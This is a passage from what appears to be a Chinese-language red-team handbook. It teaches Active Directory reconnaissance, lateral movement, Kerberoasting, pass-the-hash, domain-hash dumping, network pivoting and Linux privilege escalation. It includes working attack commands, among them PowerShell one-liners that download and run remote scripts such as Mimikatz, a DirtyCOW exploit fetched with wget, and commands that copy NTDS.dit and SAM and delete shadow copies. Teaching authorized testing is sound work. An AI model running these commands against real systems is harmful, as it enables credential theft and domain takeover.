True。\n执行。\n图4.26\n现在，我们获得一个用户、组、服务器和服务列表，这将帮助我们了解哪些用户具有哪些权限。但是，我们仍然需要有关工作站和系统的详细信息。信息中可能包括版本、创建日期、使用情况和主机名等。我们可以在使用get_computer命令时获取这些信息。\n模块：situational_awareness/network/powerview/get_computer。\n说明：get_computer模块查询域中计算机对象。\nget_computer查询域控制器可以获得哪些信息？我们获取了机器、创建时间、DNS主机名和专有名称等信息。作为攻击者，一个有用的侦察信息是操作系统类型和操作系统版本。在这个例子中（见图4.27），我们可以看到操作系统是Windows 10，版本是Build 16299。我们获取了操作系统的相关信息，了解这个操作系统的最新状态，以及这个操作系统是否在微软公司的发布信息页面上发布了补丁信息。\n图4.27\n4.8.3 Bloodhound/Sharphound\n我们如何利用从侦察阶段搜集到的所有信息，实现后续的渗透？我们如何快速地关联谁有权访问什么？回到之前，我们过去只是试图突破一切，以达到我们的目的，但这总是增加了被发现的可能性。\nAndrew Robbins、Rohan Vazarkar和Will Schroeder开发了一种不错的关联工具，称为Bloodhound/Sharphound。在他们的GitHub页面中有下列介绍内容：“BloodHound使用图论来揭示活动目录环境中隐藏且经常无意识的关联。攻击者可以使用BloodHound轻松识别高度复杂的攻击路径，否则这样的路径很难发现。防御者可以使用BloodHound识别和找到这些攻击路径。蓝色团队和红色团队都可以使用BloodHound轻松且深入地了解活动目录环境中的权限关系。”\nBloodhound的工作原理是在被攻击者系统上运行Ingestor，然后查询活动目录（类似于我们之前手动执行的操作）中的用户、组和主机信息。然后，Ingestor将尝试连接到每个系统以枚举登录的用户、会话和权限。当然，在网络上这动作有点大。对于默认设置（可以修改）的中型、大型组织，使用Sharphound连接到每个主机系统和查询信息可能不到 10min。请注意，由于这涉及网络上每个加入域的系统，因此可能会被捕获。Bloodhound中有一个Stealth选项，它只查询活动目录并不连接到每个主机系统，但输出信息非常有限。\n目前有两个不同的版本（其中我确定旧的版本很快就会删除）。\n在Empire内部，您可以使用该模块。 \nusemodule situational_awareness/network/bloodhound\n这仍然使用非常慢的旧PowerShell版本\n更好的选择是Sharphound。Sharphound是原始Bloodhound Ingester的C＃版本，它更快、更稳定，可以用作独立二进制文件或作为PowerShell脚本导入。Sharphound PowerShell脚本使用reflection和assembly.load，将已编译的BloodHound C＃ingestor加载到内存。\n运行Bloodhound/Sharphound Ingestor，您可能需要指定多个信息搜集方式。\nGroup，搜集组成员身份信息。\nLocalGroup，搜集计算机的本地管理员信息。\nSession，搜集计算机的会话信息。\nSessionLoop，连续搜集会话信息直到退出。\nTrusts，搜集域信任数据。\nACL，搜集ACL（访问控制列表）数据。\nComputerOnly，搜集本地管理员和会话数据。\nGPOLocalGroup，使用GPO（组策略对象）搜集本地管理员信息。\nLoggedOn，使用高权限（需要管理员！）搜集会话信息。\nObjectProps，搜集用户和计算机的节点属性信息。\nDefault，搜集组成员身份、本地管理员、会话和域信任。\n在主机系统上运行Blood/Sharphound。\n运行PowerShell，然后导入Bloodhound.ps1或SharpHound.ps1。 \nInvoke-Bloodhound -CollectionMethod Default\nInvoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default -CompressData -RemoveCSV -NoSaveCache\n运行可执行文件。 \nSharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group\nBloundhound/Sharphound操作完成后，被攻击者系统上将生成4个文件。访问这些文件并复制到您的Kali设备。接下来，我们需要启动Neo4j服务器，导入这些数据，构建关联图。\n启动Bloodhound过程如下。\n（1）apt-get install bloodhound。\n（2）neo4j console。\n（3）打开浏览器，访问http://localhost:7474。\nConnect to bolt://localhost:7687\nUsername: neo4j\nPassword: neo4j\nChange Password\nPassword: New Password\n（4）在终端运行Bloodhound。\nbloodhound\nDatabase URL: bolt://127.0.0.1:7687\nUsername: neo4j\nPassword: New Password\n（5）加载数据。\n右侧有“Upload Data”按键。\n上传acls.csv、group_membership.csv、local_admin.csv和sessions.csv文件。\n如果您没有域环境进行测试，我上传了4个Bloodhound文件（见https://github.com/ cyberspacekittens/bloodhound），以便您可以重复练习。一旦进入Bloodhound并导入了所有数据，我们就可以选择查询，查看“Find Shorted Paths to Domain Admins.”。我们还可以选择特定用户，查看是否可以将路径映射到特定用户或组。在这个例子中，我们突破的第一个设备是NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL。在搜索标签中，插入用户，单击“Pathfinding”按钮，然后输入“Domain Admin”（或任何其他用户），查看这些对象之间的规划路径，如图4.28所示。\n图4.28\n从Neil的机器上可以看出，我们可以一直迁移到CSK-Lab。进入实验设备，可以发现有一个名为Purri的用户，他是HelpDesk组的成员，如图4.29所示。\n图4.29\n如果可以突破HelpDesk组，我们可以迁移到Chris系统，发现Elon Muskkat最近登录过。如果可以迁移到他的进程或窃取他的明文密码，我们就可以升级为Domain Admin权限！\n对于大型网络，我们注意到Bloodhound查询的限制和搜索问题。使用Neo4j的好处之一是允许通过Cypher语言进行原始查询。\n我们可以添加哪些类型的自定义查询？@ porterhau5在扩展Bloodhound跟踪和可视化突破方面取得了一些重大进展。\n从更高的层面来看，@porterhau5增加了突破主机标记，可以让攻击者更方便地在整个环境中进行迁移。例如，在假设的场景中，我们开展网络钓鱼攻击，获取第一个用户neil.pawstrong的信息。使用Bloodhound应用程序中的Cypher语言和Raw Query功能，我们可以进行以下查询。\n将自有标记添加到突破系统。 \nMATCH (n) WHERE n.name=\"NEIL.PAWSTRONG@CYBERSPACEKITTENS. LOCAL\"SET n.owned=\"phish\", n.wave=1\n运行查询，显示所有已被网络钓鱼的系统。 \nMATCH（n）WHERE n .owned =\"phish\"RETURN n\n现在，我们可以向Bloodhound添加一些自定义查询。在Bloodhound的Queries选项卡中，滚动到底部，然后单击“Custom Queries”旁边的编辑按钮。然后，将所有文本替换为以下内容。\nhttps://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json\n保存后，我们可以创建更多的查询。我们现在可以单击“Find Shortest Paths from owned node to Domain Admins”，如图4.30所示。\n图4.30\n如果您想更仔细地研究这个问题，可查看@ porterhau5的Bloodhound版本，它更加清晰地标记突破的计算机，并允许更多的自定义功能。\n到目前为止，在没有扫描的情况下，我们已经能够获得有关该组织的大量信息，这都是本地活动目录用户（域用户）的权限，并且在大多数情况下，网络流量看起来很正常。如您所见，我们能够在不是本地管理员或不拥有本地系统任何管理权限的情况下完成所有这些操作。\n高级ACL/ACE Bloodhound\n当使用Bloodhound的Collection Method Access Control List（ACL）类型时，脚本将查询活动目录，搜集用户/对象的所有访问控制权限。我们从访问控制入口（ACES）搜集的信息描述了用户、组和计算机的允许和拒绝权限。查找和利用ACE本身就可以写一本完整的图书，下面是一些很好的学习资料。\nBloodHound 1.3 - ACL攻击绘制配方。 \nhttps://wald0.com/?p=112\n介绍对手持续攻击方法。 \nhttp://bit.ly/2GYU7S7\n将ACL数据导入Bloodhound时，我们在寻找什么？Bloodhound识别ACE中可能存在弱点的区域，包括谁能够更改/重置密码、向组添加成员、为其他用户更新脚本路径、更新对象或在对象上写入新ACE等。\n那么怎样利用这个功能？在突破设备并获得额外凭证时，我们可以查找路径，发现能够重置密码或修改ACE权限的用户。这将提出新的方法，查找域管理员或特权账户的路径，甚至是安装后门供后续行动使用。\n4.8.4 横向移动——进程迁移\n当主机存在多个用户时，通常的做法是生成令牌或在不同用户间迁移。这并不是什么新鲜事，但是多数是在一个环境内横向迁移。通常通过Bloodhound输出内容或共享工作站，作为攻击者，我们需要能够冒充被攻击者系统上的其他用户。\n我们有很多工具可以实现上述功能。以Metasploit为例，我们都应该非常熟悉后陷身方法，可以实现令牌窃取。在Empire中，我们可以使用steal_tokens，冒充该系统上的用户。我注意到有时令牌劫持可能破坏自己的Shell。为了避免这种情况，我们可以在其他用户拥有的进程中，注入新代理。\n在图4.31中，对运行恶意软件的员工，我们实施了网络钓鱼攻击。这允许我们在该被攻击者用户（neil.pawstrong）拥有的进程中运行。一旦进入该用户的主机，我们就迁移到Buzz Clawdrin系统，并使用WMI（Windows Management Instrumentation）生成一个新的代理。这里的问题是因为使用缓存凭证在Buzz的主机上生成Shell，所以我们仍然处于被攻击者neil.pawstrong的进程中。因此，我们应该使用Empire的psinject功能，而不是窃取令牌。\n图4.31\nEmpire中的psinject具备的功能描述如下：“能够使用ReflectivePick将代理注入另一个进程，将.NET公共语言运行库加载到进程中，执行特定的PowerShell命令，所有这些都无须启动新的powershell.exe进程！”我们使用它来生成一个全新的代理，注入Buzz.Clawdrin进程中运行，这样我们就可以获得Buzz.Clawdrin的访问权限。\n4.8.5 从您最初突破的主机开始横向移动\n既然您已找到可能迁移的路径，有什么方式可以在这些系统实现代码的执行？基本的方法是使用当前活动目录用户的权限，获得对另一个系统的控制权。例如，一个经理具有访问其下属计算机的全部权限，在一个会议室/实验室的计算机上有多个用户具有管理员权限，内部系统配置错误，或者有人手动将用户添加到计算机本地管理员组，那么用户可以远程访问网络上其他工作站。在突破的计算机上，我们可以使用Bloodhound获取结果或者重新扫描网络，查找可以在本地访问的计算机。\nEmpire模块。\nMetasploit模块。\nEmpire的find_localadmin_access模块向活动目录查询所有主机名，并尝试连接主机。这绝对是一个容易被检测的工具，因为它需要连接到每个主机并验证自己是否是本地管理员，如图4.32所示。\n图4.32\n我们可以看到，find_localadmin_access模块输出结果，确认突破的用户可以访问buzz.cyberspacekittens.local机器。这应该与运行Bloodhound的结果是一致的。为了仔细检查我们是否具有访问权限，我通常会执行非交互式远程命令，如dir \\[remote system]\\C$，并且查看对C驱动器是否具有读/写权限，如图4.33所示。\n图4.33\n在横向移动方面，有几种选项。让我们先来看看Empire等模块，因为它们是比较常见的（直接引用自Empire）。\ninveigh_relay：Inveigh的SMB中继功能。这个模块可用于将传入的HTTP/代理NTLMv1/NTLMv2身份鉴权请求中继到SMB目标。如果身份鉴权成功且账户具有正确的权限，则在目标上以PSExec风格执行指定的命令或Empire启动程序。\ninvoke_executemsbuild：此函数使用MSBuild和内联任务在本地/远程主机上执行PowerShell命令。如果提供了凭证，则会在本地加载默认的管理员共享目录。此命令将在MSBuild.exe进程的上下文中执行，而无须启动PowerShell.exe。\ninvoke_psremoting：使用PSRemoting在远程主机上执行stager。只要被攻击者启用了PSRemoting（并非始终可用），我们就可以通过此服务执行PowerShell。\ninvoke_sqloscmd：使用xp_cmdshell在远程主机上执行命令或stager。'xp_cmdshell又回来了！\ninvoke_wmi：使用WMI在远程主机上执行stager。WMI几乎总是被启用，这是执行PowerShell静荷的好方法。\njenkins_script_console：将Empire代理部署到Windows Jenkins服务器中没有身份鉴权的脚本控制台。我们知道，Jenkins服务器通常没有启用鉴权，这意味着可以通过脚本实现远程代码执行。\ninvoke_dcom：通过DCOM上的MMC20.Application COM对象在远程主机上调用命令。允许我们在没有PsExec、WMI或PSRemoting的情况下进行迁移。\ninvoke_psexec：使用PsExec类型的功能在远程主机上执行stager。使用PsExec是一种老方法，复制文件并执行。这可能会引发警报，但如果没有其他方法可用的话，这仍然是一个很好的方法。\ninvoke_smbexec：使用SMBExec.ps在远程主机上执行stager。我们可以使用Samba工具进行类似的攻击，而不是使用PsExec。\ninvoke_sshcommand：通过SSH在远程主机上执行命令。\ninvoke_wmi_debugger：使用WMI将远程计算机上的目标二进制文件的调试器设置为cmd.exe或stager。使用sethc（粘滞键）等调试工具来执行我们的代理。\nnew_gpo_immediate_task：构建一个“立即”的schtask来推送指定的GPO。如果您的用户账户有权修改GPOS，则您可以推送一个“即时”计划任务GPO，这个编辑过的GPO生效后允许在系统中执行代码。\n这些只是简单并且常用的横向移动技术。在本书的后续部分，我们将讨论一些新的方法突破目标。在大多数网络中，Windows Management Instrumentation（WMI）通常是启用的，因为WMI是管理工作站所必需的功能。因此，我们可以使用invoke_wmi横向移动。由于使用缓存凭证，并且账户可以访问远程主机，因此我们无须知道用户的凭证。\n在远程系统上执行，如图4.34所示。\nusemodule lateral_movement/invoke_wmi。\n设置要攻击的计算机。 \nset ComputerName buzz.cyberspacekittens.local\n定义使用的监听器。 \nset Listener http\n远程连接到该主机并执行您的恶意软件。 \nexecute\n与新代理交互。 \nagents\ninteract <Agent Name>\nsysinfo。\n图4.34\n4.8.6 使用DCOM横向移动\n如果已经进入主机，那么有许多方法可以在主机上横向移动。如果突破的账户具有访问权限，或者您可以使用捕获的凭证创建令牌，那么我们可以使用WMI、PowerShell Remoting 或者 PsExec 等方法生成各种 Shell。如果这些方法被监控该怎么办？Windows 自带一些很不错的功能，我们可以利用其中的分布式组件对象模型（DCOM）功能。DCOM是Windows自带的功能，用于远程主机组件之间的通信。\n您可以使用 PowerShell 命令 Get-CimInstance Win32_DCOMApplication 列出计算机的所有 DCOM 应用程序，如图 4.35 所示。\n图4.35\n根据@ enigma0x3的研究成果，他发现很多对象（如ShellBrowserWindow和ShellWindows）允许在被攻击者主机上远程执行代码。当列出所有的DCOM应用程序时，您将发现一个ShellBrowserWindow对象，其CLSID为C08AFD90-F2A1-11D1-8455- 00A0C91F3880。在发现这个对象后，只要账户允许访问，我们就可以利用这个功能在远程工作站上执行二进制文件。\npowershell\n$([activator]::CreateInstance([type]::GetTypeFromCLSID(\"C08AFD90-F2A1-11D1-8455-00A0C91F3880\",\"buzz.cyberspacekittens.local\"))).Navigate (\"c:\\windows\\system32\\calc.exe\")\n这将在系统中执行本地可执行文件，并且不能在可执行文件中包含任何命令行参数（因此cmd/k样式的攻击不能执行）。当然，我们可以从远程系统调用文件并执行它们，但请注意，用户将弹出警告窗口。在这个例子中，我目前在被攻击者的主机neil.cyberspacekittens.local上，该主机具有buzz远程工作站的管理员访问权限。我们将在neil的工作站上共享一个文件夹，托管我们的恶意静荷。接下来，我们可以调用DCOM对象，在远程被攻击者（buzz）计算机上运行托管文件，如图4.36所示。\n$([activator]::CreateInstance([type]::GetTypeFromCLSID(\"C08AFD90-F2A1-11D1-8455-\n00A0C91F3880\",\"buzz.cyberspacekittens.local\"))).Navigate(\"\\\\neil.cyberspacekittens.local\\Public\\ adobeupdate.exe\")\n图4.36\n如图4.37所示，buzz的机器上会弹出一个窗口，提示运行adobeupdate.exe文件。虽然大多数用户会单击并运行这个程序，但是也有可能攻击行为被发现。\n图4.37\n因此，避免被发现的方法是在DCOM执行文件之前，移动文件（类似于在被攻击者主机加载驱动器）。@ enigma0x3更进一步，使用Excel宏执行DCOM。首先，需要在自己的系统上创建恶意Excel文档，然后使用PowerShell脚本在被攻击主机上执行此XLS格式的文件。\n需要注意的一点是，有许多其他DCOM对象可以从系统中获取信息、启动/停止服务等。这些资源肯定会为DCOM功能的其他研究提供很好的基础。\n4.8.7 传递散列\n本地管理员账户散列传递（PTH），虽然这种老的攻击方式在大部分场景中已经不起作用了，但是这种攻击方式并未彻底绝迹，我们快速回顾一下。散列传递攻击是指系统鉴权不使用用户的凭证，而是Windows NTLM散列进行身份验证。为什么这种攻击方式很重要？因为，散列可以使用Mimikatz这样的工具轻松恢复，可以从本地账户提取（但需要本地管理员访问权限），可以通过转储域控制器恢复（不是明文密码）以及其他方式。\n散列传递攻击基本的用途是攻击本地管理员，但目前很难再发挥作用，因为默认情况下，本地管理员账户已被禁用，并且新的安全功能已开始应用，例如本地管理员密码解决方案（LAPS），它为每个工作站创建随机密码。在过去，在一个工作站上获取本地管理员账户的散列值，在整个组织中都是相同和适用的，这意味着突破一个工作站，就突破了整个公司。\n当然，散列传递攻击发挥作用要求您必须是系统的本地管理员，即本地管理员账户“管理员”已启用，并且它是RID 500账户（这意味着必须是原始管理员账户，而不是新创建的本地管理员账户）。\nCommand: shell net user administrator\nUser name Administrator\nFull Name\nComment Built-in account for administering the computer/domain\nUser's comment\nCountry/region code 000 (System Default)\nAccount active Yes\nAccount expires Never\n如果我们看到该账户处于活动状态，那么可以尝试从本地计算机中提取所有散列值。记住，这不包括任何域用户的散列。\nEmpire Module: powershell/credentials/powerdump\nMetasploit Module\n例子如下。\n(Empire: powershell/credentials/powerdump) > execute\nJob started: 93Z8PE\n输出如下。\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:3710b46790763e07 ab0d2b6cfc4470c1:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59 d7e0c089c0:::\n我们可以使用Empire（credentials/mimikatz/pth）工具，或者启动可信工具PsExec，提交我们的散列值，然后执行我们的自定义静荷，如图4.38所示。\n图4.38\n如同上文所述，这是旧的横向移动攻击方式，目前已经很难找到适合的攻击条件。如果您仍然可以看到使用本地管理员账户的情况，但环境中启用了 LAPS（本地管理员密码解决方案）方案，那么您可以使用几种不同的工具从活动目录中提取散列值。这是在假设您已经拥有特权域管理员或帮助台类型账户的情况下。\n4.8.8 从服务账户获取凭证\n如果您发现获取的用户账户受限，无法从内存中获取密码，并且恰好没有在主机系统上获取密码，那么该怎么办？您接下来要做什么？好吧，我比较喜欢使用的一种攻击方法是Kerberoasting。\n我们都知道，由于NTLM采用单向函数没有附带盐值，存在重放攻击和其他传统的问题，因此许多公司转而采用Kerberos。众所周知，Kerberos是一种用于验证计算机网络中服务请求的安全方法。我们不会深入研究Windows中Kerberos的实现方法。但是，您应该知道域控制器通常充当票证授予服务器；并且网络上的用户可以请求票证，从而获得资源的访问权限。\n什么是Kerberoast攻击？作为攻击者，我们可以用之前提取的目标服务账户的任何SPN，请求Kerberos服务票证。该漏洞的存在有以下原因：当从域控制器请求服务票证时，该票证使用关联的服务用户的NTLM散列进行加密。由于任何用户都可以请求票证，因此这意味着如果可以猜中关联服务用户的NTLM散列（加密票证）的密码，那么我们就可以获得实际服务账户的密码。这听起来可能有点混乱，下面我们来看一个例子。\n与之前的情况类似，我们可以列出所有 SPN 服务，提取这些服务账户所有的 Kerberos票证。\nsetspn -T cyberspacekittens.local -F -Q \\*/\\*\n我们既可以针对单用户，又可以提取所有的Kerberos票证到用户内存中。\n针对单用户。 \npowershell Add-Type -AssemblyName System.IdentityModel; New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken- ArgumentList \"HTTP/ CSK-GITHUB.cyberspacekittens.local\"\n提取所有的用户票证到内存中。 \npowershell Add-Type -AssemblyName System.IdentityModel; IEX(New-Object Net.WebClient).DownloadString(\"https://raw.githubusercontent.com/nidem/kerberoast/ master/GetUserSPNs.ps1\") | ForEach-Object {try{New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken-ArgumentList $_.ServicePrincipalName}catch{}}\n当然，您也可以使用PowerSploit实现上述功能，如图4.39所示。\n图4.39\n如果成功，那么我们已将一个或多个不同的Kerberos票证导入到被攻击者计算机的内存中。我们现在需要一种提取票证的方法。要做到这一点，我们可以使用非常好用的功能——Mimikatz Kerberos Export，如图4.40所示。\npowershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString ('http://bit. ly/2qx4kuH'); Invoke-Mimikatz -Command '\"\"\"kerberos::list/export\"\"\"'\n图4.40\n在我们导出票证后，票证驻留在被攻击者的机器上。在开始破解票证之前，我们必须从被攻击者的系统中下载票证。记住，票证是使用服务账户的NTLM散列加密的。因此，如果可以猜到NTLM散列，我们就可以读取票证，同时也知道服务账户的密码。比较简单的破解账户的方法是使用名为tgsrepcrack的工具（JTR和Hashcat也支持破解Kerberoast，我们将很快讨论这个问题）。\n使用Kerberoast破解票证。 \ncd /opt/kerberoast\npython tgsrepcrack.py [password wordlist] [kirbi tickets - *.kirbi]\n如图4.41所示，服务账户csk-github的密码是“P @ ssw0rd！”。\n图4.41\n当然，Empire中有一个PowerShell模块可以为我们完成几乎所有烦琐的工作。它位于powershell/credentials/invoke_kerberoast下，如图4.42所示。您可以以John the Ripper或者Hashcat格式输出，从而可以使用这两个工具破解密码。我以前在大的网络环境中运行PowerShell脚本时，遇到了一些问题，因此只能重新使用PowerShell和Mimikatz获取所有的票证。\n图4.42\n4.9 转储域控制器散列\n一旦我们获得域管理员的访问权限，从域控制器获取所有散列的旧方法就是，在域控制器上运行命令，使用Shadow Volume或Raw复制方法，获得Ntds.dit文件。\n回顾Shadow Volume复制方法\n由于我们可以访问文件系统，并且可以在域控制器上运行命令，因此作为攻击者，我们可以获取存储在Ntds.dit文件中的所有域散列值。但是，该文件不断被读/写，即使拥有系统权限，我们也没有读取或复制该文件的机会。“幸运”的是，我们可以利用Windows功能——Volume Shadow复制服务（VSS），该功能可以创建卷的快照副本。然后，我们可以从该副本中读取Ntds.dit文件并将其从机器中取出。这包括窃取Ntds.dit、System、SAM和Boot Key文件。最后，我们需要消除痕迹并删除卷副本。\nC:\\vssadmin create shadow/for=C:\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[DISK_NUM BER] \\windows\\ntds\\ntds.dit\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[DISK_NUM BER] \\windows\\system32\\config\\SYSTEM\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[DISK_NUM BER] \\windows\\system32\\config\\SAM\nreg SAVE HKLM\\SYSTEM c:\\SYS\nvssadmin delete shadows/for= [/oldest |/all |/shadow=]\n1．NinjaCopy\nNinjaCopy（http://bit.ly/2HpvKwj）是另一个获取散列值的工具，运行在域控制器，可以用来获取Ntds.dit文件。NinjaCopy通过读取原始卷，解析NTFS结构，并从NTFS分区卷复制文件。这会绕过文件DACL、读句柄锁和SACL检测。您必须是管理员才能运行脚本。这可用于读取系统被锁定的文件，例如NTDS.dit文件或注册表配置单元。\nInvoke-NinjaCopy -Path \"c:\\windows\\ntds\\ntds.dit\" -LocalDestination \"c:\\windows\\ temp\\ ntds.dit\"\n2．DCSync\n到目前为止，我们已经回顾了两个从域控制器获取散列值的旧方法，这两个方法的前提条件是您可以在域控制器上运行系统命令，并且通常在该机器上存储文件，下面我们将尝试新的方法。最近，由Benjamin Delpy和Vincent Le Toux提出的DCSync方法被多次提及，这个方法改变了域控制器导出散列的思路。DCSync实现的思路是劫持域控制器，请求该域中用户的所有散列值。仔细思考一下就会发现，这意味着，只要您具有权限，就不需要在域控制器上运行任何命令，也不必在域控制器上放置任何文件。\nDCSync方法有效的前提是，必须拥有从域控制器中提取散列值的适当权限。通常仅限于域管理员、组织管理员、域控制器组以及具有将Replicating Changes设置为Allow（例如Replicating Changes All/Replicating Directory Changes）权限的用户，DCSync方法将允许您的用户执行此攻击。此攻击最初是在Mimikatz中实施的，可以使用以下命令进行。\nLsadump::dcsync/domain:[YOUR DOMAIN] /user:[Account_to_Pull_Hashes]\n更棒的是，PowerShell Empire集成了DCSync工具，因此使用更加方便。\nEmpire代码：powershell/credentials/mimikatz/dcsync_hashdump。\n通过查看DCSync导出的散列值，如图4.43所示，我们找到了活动目录中用户的所有NTLM散列值。另外，我们拥有krbtgt NTLM散列，这意味着我们现在（或在后续的行动中）可以实施Golden Ticket攻击。\n图4.43\n4.10 在虚拟专用服务器上基于远程桌面进行横向迁移\n在当今世界，计算机上运行着各种下一代杀毒软件，在计算机之间使用 WMI/PowerShell Remoting/PsExec 横向迁移并不总是最佳选择。我们还看到一些组织正在记录所有Windows命令操作。为了解决所有这些问题，我们有时需要使用基本功能，实现横向迁移。使用VPS服务器的问题在于它仅提供一个没有用户界面的Shell。因此，需要将路由/代理/转发流量从攻击者主机、虚拟专用服务器、突破的主机，横向转移到下一个突破的主机，如图4.44所示。“幸运”的是，我们可以使用原生工具来完成大部分工作。\n我们需要设置虚拟专用服务器，启用端口接收互联网数据，使用 PTF 配置Metasploit，并使用Meterpreter控制初始突破主机。我们可以使用Cobalt Strike或其他框架来完成此操作，但在这个例子中我们将使用Meterpreter。\n我们可以使用默认的SSH客户端-L选项，实现本地端口转发。我使用的是macOS操作系统，但这也可以在Windows或Linux操作系统中完成。我们使用SSH工具和密钥连接到虚拟专用主机。我们还将在攻击主机上配置本地端口，在本例中为3389（RDP），实现该端口的任何流量转发到虚拟专用服务器。当该端口的流量转发到虚拟专用服务器时，该流量发送到虚拟专用服务器上本地的端口3389。最后，我们需要设置一个端口，监听虚拟专用服务器3389端口，并使用Meterpreter的端口转发功能，将流量路由到被攻击者的主机。\n图4.44\n（1）用Meterpreter静荷感染被攻击者。\n（2）攻击者主机使用SSH工具，设置本地端口转发（在本地侦听端口3389），将所有流量发送到虚拟专用服务器的本地3389端口。\nssh -i key.pem ubuntu @ [VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389\n（3）在Meterpreter会话中，监听虚拟专用服务器的3389端口，转发流量从突破的主机横向迁移到下一个突破的主机。\nportfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address]\n（4）在攻击者主机上，打开微软的远程桌面客户端，将连接地址设置为localhost，即127.0.0.1并输入被攻击者的凭证，实现RDP连接，如图4.45所示。\n图4.45\n4.11 在Linux中实现迁移\n多年来，在Linux中实现迁移并没有太大的改变。通常，如果您使用的是dnscat2或Meterpreter，那么它们都支持数据转发。\ndnscat2。 \nlisten 127.0.0.1:9999 <target_IP>:22\nMetasploit。 \npost/windows/manage/autoroute\nMetasploit Socks Proxy + Proxychains。 \nuse auxiliary/server/socks4a\nMeterpreter。 \nportfwd add -l 3389 -p 3389 -r <target_IP>\n如果您很“幸运”地获得了 SSH Shell，那么可以通过多种方式在系统中进行迁移。我们如何获得SSH Shell？在许多情况下，一旦存在本地文件包含（LFI）或远程执行代码（RCE）漏洞，我们就可以尝试提升权限，读取/etc/shadow文件（密码破解），或者采用类似Mimikatz的攻击。\n就像Windows和Mimikatz一样，Linux系统同样遇到了以明文形式存储密码的问题。@huntergregal编写的工具实现特定进程内容的转储，这些进程很可能以明文形式包含用户密码，如图4.46所示。到目前为止，虽然这个工具仅适用于有限数量的Linux系统，但是思路却适合所有的Linux系统。\n图4.46\n一旦从突破的主机上获得凭证，并且可以通过SSH工具实现重新登录，我们就可以在设备间建立隧道并进行迁移。SSH中有一些很棒的功能，允许执行这种迁移。\n设置Dynamic Sock Proxy，使用proxychains，从主机迁移所有流量。 \nssh -D 127.0.0.1:8888 -p 22 <user>@<Target_IP>\n单个端口的基本端口转移。 \nssh <user>@<Target_IP> -L 127.0.0.1:55555:<Target_to_Pivot_to>:80\n基于SSH的虚拟专用网络。这是一个很棒的功能，通过SSH建立第三层隧道。\n4.12 权限提升\nLinux 权限提升的方法绝大部分类似于Windows。我们查找存在漏洞的服务，例如可以写入文件、错误配置粘滞位、文件中的明文密码、全局可写文件、定时任务，当然还有补丁问题。\n为了有效和高效地分析Linux设备权限提升的问题，可以使用一些工具完成所有的工作。\n在进行任何类型的权限提升漏洞挖掘之前，首先了解Linux主机和系统的所有信息，包括用户、服务、定时任务、软件版本、弱凭证、错误配置的文件权限，甚至是Docker信息。我们可以使用一个名为LinEnum的工具完成所有琐碎的工作，如图4.47所示。\n图4.47\n这是一份非常详细的分析报告，涉及您想要了解的所有关于底层系统的信息，对于后面的行动非常有帮助。\n在获得系统的信息后，我们会尝试利用这些漏洞。如果在服务和定时任务中找不到任何粘滞位漏洞或错误配置漏洞，那么我们会查找系统/应用程序的漏洞。我尝试发现漏洞，最终总是有可能突破的设备。\n我们可以运行一个名为inux-exploit-suggester的工具，分析主机系统，识别未打的补丁和存在的漏洞。一旦发现漏洞，该工具还将提供PoC漏洞利用工具的链接，如图4.48所示。\n图4.48\n现在，我们还要寻找什么漏洞？这时实践经验就真正发挥作用了。在我的“实验室”中，我配置大量不同的Linux版本，验证这些漏洞是否会导致底层系统崩溃。在这个场景中，我最愿意研究的漏洞之一是DirtyCOW。\nDirtyCOW漏洞的描述：Linux内核的内存子系统在处理写入只读私有映射地址时，出现了资源竞争。非特权本地用户利用这个漏洞，获取对其他只读内存映射的写访问权，从而实现了权限提升。\n简而言之，此漏洞允许攻击者通过内核漏洞，从非特权用户提升到root用户。这是我们想要实现的权限提升方式！但问题是，这种方式容易引起内核崩溃，因此必须确保在正确的Linux内核上使用正确的工具版本。\n在Ubuntu中测试DirtyCOW（ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64）。\n下载DirtyCOW静荷。 \nwget http://bit.ly/2vdh2Ub -O dirtycow-mem.c\n编译DirtyCOW静荷。 \ngcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread\n运行DirtyCOW获取系统权限。 \n./dirtycow-mem\n关闭定期回写机制，确保漏洞稳定性。 \necho 0 >/proc/sys/vm/dirty_writeback_centisecs\n尝试读取shadow文件。 \ncat /etc/shadow\n4.13 Linux横向迁移实验室\n横向迁移的问题在于，如果没有搭建迁移的网络环境，则很难进行练习。因此，我们将为您介绍网络空间猫安全实验室。在这个实验室中，您可以在设备之间进行迁移，使用最新的漏洞进行权限提升攻击，所有操作均在Linux环境中完成。\n搭建虚拟环境\n虚拟环境实验室的设置稍微复杂一些，这是因为网络需要运行3个不同的静态虚拟机，并且需要进行一些提前的设置。所有这些都在VMWare Workstation和VMware Fusion环境中进行了测试，因此，如果您使用的是VirtualBox，则可能需要先进行测试。\n下载3台虚拟机。\n虽然您不需要这些设备的root账户，但这里给出用户名/密码：hacker/changeme。\n所有这 3 个虚拟机都配置为使用NAT网络接口。要使此实验室正常工作，您必须在VMWare中配置虚拟机的NAT设置，使用172.16.250.0/24网络。注意，需要在Windows VMWare Workstation中执行此操作。\n在菜单栏中，转到编辑→虚拟网络编辑器→更改设置。\n选择NAT类型的接口（我的是VMnet8）。\n更改子网IP 172.16.250.0并单击申请。\n在macOS操作系统中，设置更为复杂，您需要执行以下步骤。\n复制原始dhcpd.conf，作为备份。 \nsudo cp /Library/Preferences/VMware\\Fusion/vmnet8/dhcpd.conf/Library/ Preferences/ VMware\\Fusion/vmnet8/dhcpd.conf.bakup\n编辑dhcpd.conf文件，使用172.16.250.x而不是192.168.x.x.网络。 \nsudo vi /Library/Preferences/VMware\\Fusion/vmnet8/dhcpd.conf\n编辑nat.conf，使用正确的网关。 \nsudo vi /Library/Preferences/VMware \\ Fusion/vmnet8/nat.conf\n# NAT gateway address\nip= 